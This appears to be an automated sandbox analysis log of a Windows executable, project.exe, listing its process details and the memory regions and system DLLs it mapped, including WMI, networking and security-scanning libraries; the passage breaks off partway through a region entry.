# Flog Txt Version 1 # Analyzer Version: 2024.3.1 # Analyzer Build Date: Jun 10 2024 06:30:57 # Log Creation Date: 27.06.2024 02:00:07.632 Process: id = "1" image_name = "project.exe" filename = "c:\\users\\oqxzraykm\\desktop\\project.exe" page_root = "0x72541000" os_pid = "0x1698" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0xa64" cmd_line = "\"C:\\Users\\OqXZRaykm\\Desktop\\project.exe\" " cur_dir = "C:\\Users\\OqXZRaykm\\Desktop\\" os_username = "PXTHFFRYO7\\OqXZRaykm" bitness = "32" os_groups = "PXTHFFRYO7\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001bd08" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 137 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 138 start_va = 0x30000 end_va = 0x4cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 139 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 140 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 141 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 142 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 143 start_va = 0xe20000 end_va = 0x5fb6fff monitored = 1 entry_point = 0xe94960 region_type = mapped_file name = "project.exe" filename = "\\Users\\OqXZRaykm\\Desktop\\project.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\project.exe") Region: id = 144 start_va = 0x7ffe0000 end_va = 0x7ffe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 145 start_va = 0x7ff5fffc0000 end_va = 0x7ff5fffc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffc0000" filename = "" Region: id = 146 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 147 start_va = 0x7fffcca30000 end_va = 0x7fffccc23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 300 start_va = 0x7ff5fdfb0000 end_va = 0x7ff5fffb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fdfb0000" filename = "" Region: id = 301 start_va = 0x7ff4fdf90000 end_va = 0x7ff5fdfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff4fdf90000" filename = "" Region: id = 302 start_va = 0x70000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 303 start_va = 0x7fffcb440000 end_va = 0x7fffcb4fcfff monitored = 0 entry_point = 0x7fffcb457070 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 304 start_va = 0x7fffca790000 end_va = 0x7fffcaa56fff monitored = 0 entry_point = 0x7fffca7a1bd0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 305 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 306 start_va = 0x7ff4fde90000 end_va = 0x7ff4fdf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff4fde90000" filename = "" Region: id = 307 start_va = 0x600000 end_va = 0x6c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 400 start_va = 0x7fffc7bb0000 end_va = 0x7fffc7c3ffff monitored = 0 entry_point = 0x7fffc7bc0880 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 401 start_va = 0x7ff4fdab0000 end_va = 0x7ff4fde8cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 403 start_va = 0x7fffca480000 end_va = 0x7fffca4fefff monitored = 0 entry_point = 0x7fffca4b73e0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 404 start_va = 0x7fffb57b0000 end_va = 0x7fffb57d6fff monitored = 0 entry_point = 0x7fffb57b4220 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 405 start_va = 0x7fffcb560000 end_va = 0x7fffcb5fdfff monitored = 0 entry_point = 0x7fffcb567850 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 406 start_va = 0x6d0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 407 start_va = 0x8d0000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 408 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 409 start_va = 0x7fffcc020000 end_va = 0x7fffcc08afff monitored = 0 entry_point = 0x7fffcc034300 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 410 start_va = 0x7fffcc830000 end_va = 0x7fffcc952fff monitored = 0 entry_point = 0x7fffcc88da30 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 411 start_va = 0x70000 end_va = 0x76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 412 start_va = 0x100000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 413 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 414 start_va = 0x90000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 415 start_va = 0xd0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 416 start_va = 0x8d0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 417 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 418 start_va = 0x5fc0000 end_va = 0x67bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fc0000" filename = "" Region: id = 419 start_va = 0x67c0000 end_va = 0xa7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000067c0000" filename = "" Region: id = 420 start_va = 0xa7c0000 end_va = 0x2a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7c0000" filename = "" Region: id = 421 start_va = 0x2a7c0000 end_va = 0x4a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000002a7c0000" filename = "" Region: id = 422 start_va = 0xc000000000 end_va = 0xc0003fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000000000" filename = "" Region: id = 423 start_va = 0x4a7c0000 end_va = 0x4afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004a7c0000" filename = "" Region: id = 424 start_va = 0x9d0000 end_va = 0x9e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 425 start_va = 0xa40000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 426 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 427 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 428 start_va = 0x7fffc9f30000 end_va = 0x7fffc9f7afff monitored = 0 entry_point = 0x7fffc9f33480 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 429 start_va = 0x7fffca270000 end_va = 0x7fffca36ffff monitored = 0 entry_point = 0x7fffca285ac0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 430 start_va = 0x7fffc9f10000 end_va = 0x7fffc9f21fff monitored = 0 entry_point = 0x7fffc9f13e30 region_type = mapped_file name = "umpdc.dll" filename = "\\Windows\\System32\\umpdc.dll" (normalized: "c:\\windows\\system32\\umpdc.dll") Region: id = 431 start_va = 0xb40000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 432 start_va = 0x4afc0000 end_va = 0x4b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004afc0000" filename = "" Region: id = 433 start_va = 0x4b1c0000 end_va = 0x4b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004b1c0000" filename = "" Region: id = 434 start_va = 0xd40000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 435 start_va = 0x4b3c0000 end_va = 0x4b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004b3c0000" filename = "" Region: id = 436 start_va = 0xd80000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 437 start_va = 0x4b5c0000 end_va = 0x4b71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004b5c0000" filename = "" Region: id = 438 start_va = 0x7fffcb7a0000 end_va = 0x7fffcb93ffff monitored = 0 entry_point = 0x7fffcb7b7a10 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 439 start_va = 0x7fffca760000 end_va = 0x7fffca781fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "win32u.dll" filename = "\\Windows\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll") Region: id = 440 start_va = 0x7fffcc960000 end_va = 0x7fffcc989fff monitored = 0 entry_point = 0x7fffcc9648d0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 441 start_va = 0x7fffca370000 end_va = 0x7fffca479fff monitored = 0 entry_point = 0x7fffca3a1300 region_type = mapped_file name = "gdi32full.dll" filename = "\\Windows\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll") Region: id = 442 start_va = 0x7fffca560000 end_va = 0x7fffca5fcfff monitored = 0 entry_point = 0x7fffca575390 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 443 start_va = 0xa00000 end_va = 0xa07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 444 start_va = 0xdc0000 end_va = 0xdedfff monitored = 0 entry_point = 0xdc14d0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 445 start_va = 0x4b720000 end_va = 0x4b91ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004b720000" filename = "" Region: id = 446 start_va = 0x7fffcb940000 end_va = 0x7fffcb96ffff monitored = 0 entry_point = 0x7fffcb9414d0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 447 start_va = 0x4b920000 end_va = 0x4baa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004b920000" filename = "" Region: id = 448 start_va = 0x4bab0000 end_va = 0x4ceb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004bab0000" filename = "" Region: id = 449 start_va = 0xdc0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 450 start_va = 0x4cec0000 end_va = 0x4cf29fff monitored = 0 entry_point = 0x4ced0e90 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 451 start_va = 0xa10000 end_va = 0xa12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 452 start_va = 0xa10000 end_va = 0xa12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 453 start_va = 0x4cec0000 end_va = 0x4cf29fff monitored = 0 entry_point = 0x4ced0e90 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 454 start_va = 0xa10000 end_va = 0xa19fff monitored = 0 entry_point = 0xa112e0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 455 start_va = 0xa20000 end_va = 0xa20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 456 start_va = 0xa10000 end_va = 0xa19fff monitored = 0 entry_point = 0xa112e0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 457 start_va = 0xa20000 end_va = 0xa20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 458 start_va = 0xc000400000 end_va = 0xc0007fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000400000" filename = "" Region: id = 459 start_va = 0xa10000 end_va = 0xa21fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 460 start_va = 0xe00000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 461 start_va = 0x4cec0000 end_va = 0x4cefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004cec0000" filename = "" Region: id = 462 start_va = 0x4cf00000 end_va = 0x4cf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004cf00000" filename = "" Region: id = 463 start_va = 0x4cf40000 end_va = 0x4cf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004cf40000" filename = "" Region: id = 464 start_va = 0x7fffcb600000 end_va = 0x7fffcb6a9fff monitored = 0 entry_point = 0x7fffcb615470 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 465 start_va = 0x7fffcb2a0000 end_va = 0x7fffcb33afff monitored = 0 entry_point = 0x7fffcb2bc3e0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 466 start_va = 0xc000800000 end_va = 0xc000bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000800000" filename = "" Region: id = 467 start_va = 0x4cf80000 end_va = 0x4cf91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004cf80000" filename = "" Region: id = 468 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 469 start_va = 0x4cfa0000 end_va = 0x4d19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004cfa0000" filename = "" Region: id = 470 start_va = 0x4d1a0000 end_va = 0x4d39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d1a0000" filename = "" Region: id = 471 start_va = 0x4d3a0000 end_va = 0x4d3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d3a0000" filename = "" Region: id = 472 start_va = 0x4d3e0000 end_va = 0x4d41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d3e0000" filename = "" Region: id = 473 start_va = 0x4d420000 end_va = 0x4d45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d420000" filename = "" Region: id = 474 start_va = 0x4d460000 end_va = 0x4d65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d460000" filename = "" Region: id = 475 start_va = 0x7fffca030000 end_va = 0x7fffca05dfff monitored = 0 entry_point = 0x7fffca034f10 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 476 start_va = 0x7fffca0b0000 end_va = 0x7fffca0cefff monitored = 0 entry_point = 0x7fffca0b8ca0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 477 start_va = 0x7fffb57e0000 end_va = 0x7fffb57f7fff monitored = 0 entry_point = 0x7fffb57e1360 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 478 start_va = 0x7fffc9360000 end_va = 0x7fffc9376fff monitored = 0 entry_point = 0x7fffc9361d60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 479 start_va = 0x7fffc95d0000 end_va = 0x7fffc95dbfff monitored = 0 entry_point = 0x7fffc95d1ce0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 480 start_va = 0x7fffc43b0000 end_va = 0x7fffc43c8fff monitored = 0 entry_point = 0x7fffc43b51e0 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 481 start_va = 0x7fffc66e0000 end_va = 0x7fffc6703fff monitored = 0 entry_point = 0x7fffc66e3de0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 482 start_va = 0x4d660000 end_va = 0x4d69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d660000" filename = "" Region: id = 483 start_va = 0x7fffcbef0000 end_va = 0x7fffcc018fff monitored = 0 entry_point = 0x7fffcbf16140 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 484 start_va = 0x7fffcbb90000 end_va = 0x7fffcbee3fff monitored = 0 entry_point = 0x7fffcbc81d00 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 485 start_va = 0x4d6a0000 end_va = 0x4d6a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004d6a0000" filename = "" Region: id = 486 start_va = 0x4d6b0000 end_va = 0x4d6b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004d6b0000" filename = "" Region: id = 487 start_va = 0x4d6c0000 end_va = 0x4d6c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004d6c0000" filename = "" Region: id = 488 start_va = 0x4d6d0000 end_va = 0x4d7a2fff monitored = 0 entry_point = 0x4d6ed190 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 489 start_va = 0x4d6d0000 end_va = 0x4d814fff monitored = 0 entry_point = 0x4d72a9b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 490 start_va = 0x7fffc8120000 end_va = 0x7fffc8132fff monitored = 0 entry_point = 0x7fffc8123f60 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 491 start_va = 0x4d6d0000 end_va = 0x4d6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004d6d0000" filename = "" Region: id = 492 start_va = 0x7fffcbae0000 end_va = 0x7fffcbb87fff monitored = 0 entry_point = 0x7fffcbafd990 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 493 start_va = 0x4d6e0000 end_va = 0x4d6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004d6e0000" filename = "" Region: id = 494 start_va = 0x4d6f0000 end_va = 0x4d834fff monitored = 0 entry_point = 0x4d74a9b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 495 start_va = 0x4d6f0000 end_va = 0x4d8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d6f0000" filename = "" Region: id = 496 start_va = 0x4d8f0000 end_va = 0x4daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d8f0000" filename = "" Region: id = 497 start_va = 0x4daf0000 end_va = 0x4dceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004daf0000" filename = "" Region: id = 498 start_va = 0x4dcf0000 end_va = 0x4deeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004dcf0000" filename = "" Region: id = 499 start_va = 0x7fffc7c60000 end_va = 0x7fffc7cfefff monitored = 0 entry_point = 0x7fffc7c89120 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 500 start_va = 0x4def0000 end_va = 0x4e00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004def0000" filename = "" Region: id = 501 start_va = 0x4def0000 end_va = 0x4def0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004def0000" filename = "" Region: id = 502 start_va = 0x4e000000 end_va = 0x4e00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004e000000" filename = "" Region: id = 503 start_va = 0x7fffab990000 end_va = 0x7fffab9ddfff monitored = 1 entry_point = 0x7fffab991ed0 region_type = mapped_file name = "wbemdisp.dll" filename = "\\Windows\\System32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll") Region: id = 504 start_va = 0x7fffcb350000 end_va = 0x7fffcb424fff monitored = 0 entry_point = 0x7fffcb36d190 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 505 start_va = 0x7fffbe330000 end_va = 0x7fffbe3b5fff monitored = 0 entry_point = 0x7fffbe345570 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 506 start_va = 0x7fffb4d40000 end_va = 0x7fffb4d50fff monitored = 0 entry_point = 0x7fffb4d42aa0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 507 start_va = 0x7fffc9f80000 end_va = 0x7fffca021fff monitored = 0 entry_point = 0x7fffc9faca60 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 508 start_va = 0x4e010000 end_va = 0x4e347fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 509 start_va = 0x4df00000 end_va = 0x4df0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wbemdisp.tlb" filename = "\\Windows\\System32\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.tlb") Region: id = 510 start_va = 0x7fffb4750000 end_va = 0x7fffb4777fff monitored = 0 entry_point = 0x7fffb4759440 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1062 start_va = 0x7fffb4780000 end_va = 0x7fffb4793fff monitored = 0 entry_point = 0x7fffb4781800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1065 start_va = 0x7fffb4820000 end_va = 0x7fffb492afff monitored = 0 entry_point = 0x7fffb4855c10 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1066 start_va = 0x7fffb4460000 end_va = 0x7fffb4476fff monitored = 0 entry_point = 0x7fffb44681c0 region_type = mapped_file name = "amsi.dll" filename = "\\Windows\\System32\\amsi.dll" (normalized: "c:\\windows\\system32\\amsi.dll") Region: id = 1067 start_va = 0x7fffb4410000 end_va = 0x7fffb4453fff monitored = 0 entry_point = 0x7fffb442f4d0 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll") Region: id = 1068 start_va = 0x7fffb4400000 end_va = 0x7fffb4409fff monitored = 0 entry_point = 0x7fffb4401390 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1213 start_va = 0x4df10000 end_va = 0x4df13fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1214 start_va = 0x4d6d0000 end_va = 0x4d6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004d6d0000" filename = "" Region: id = 1216 start_va = 0x4dcf0000 end_va = 0x4deeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004dcf0000" filename = "" Region: id = 1217 start_va = 0x7fffaba90000 end_va = 0x7fffabaddfff monitored = 1 entry_point = 0x7fffaba91ed0 region_type = mapped_file name = "wbemdisp.dll" filename = "\\Windows\\System32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll") Region: id = 1218 start_va = 0x7fffbe330000 end_va = 0x7fffbe3b5fff monitored = 0 entry_point = 0x7fffbe345570 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1219 start_va = 0x7fffb4d40000 end_va = 0x7fffb4d50fff monitored = 0 entry_point = 0x7fffb4d42aa0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1220 start_va = 0x4df00000 end_va = 0x4df0efff monitored = 0 entry_point = 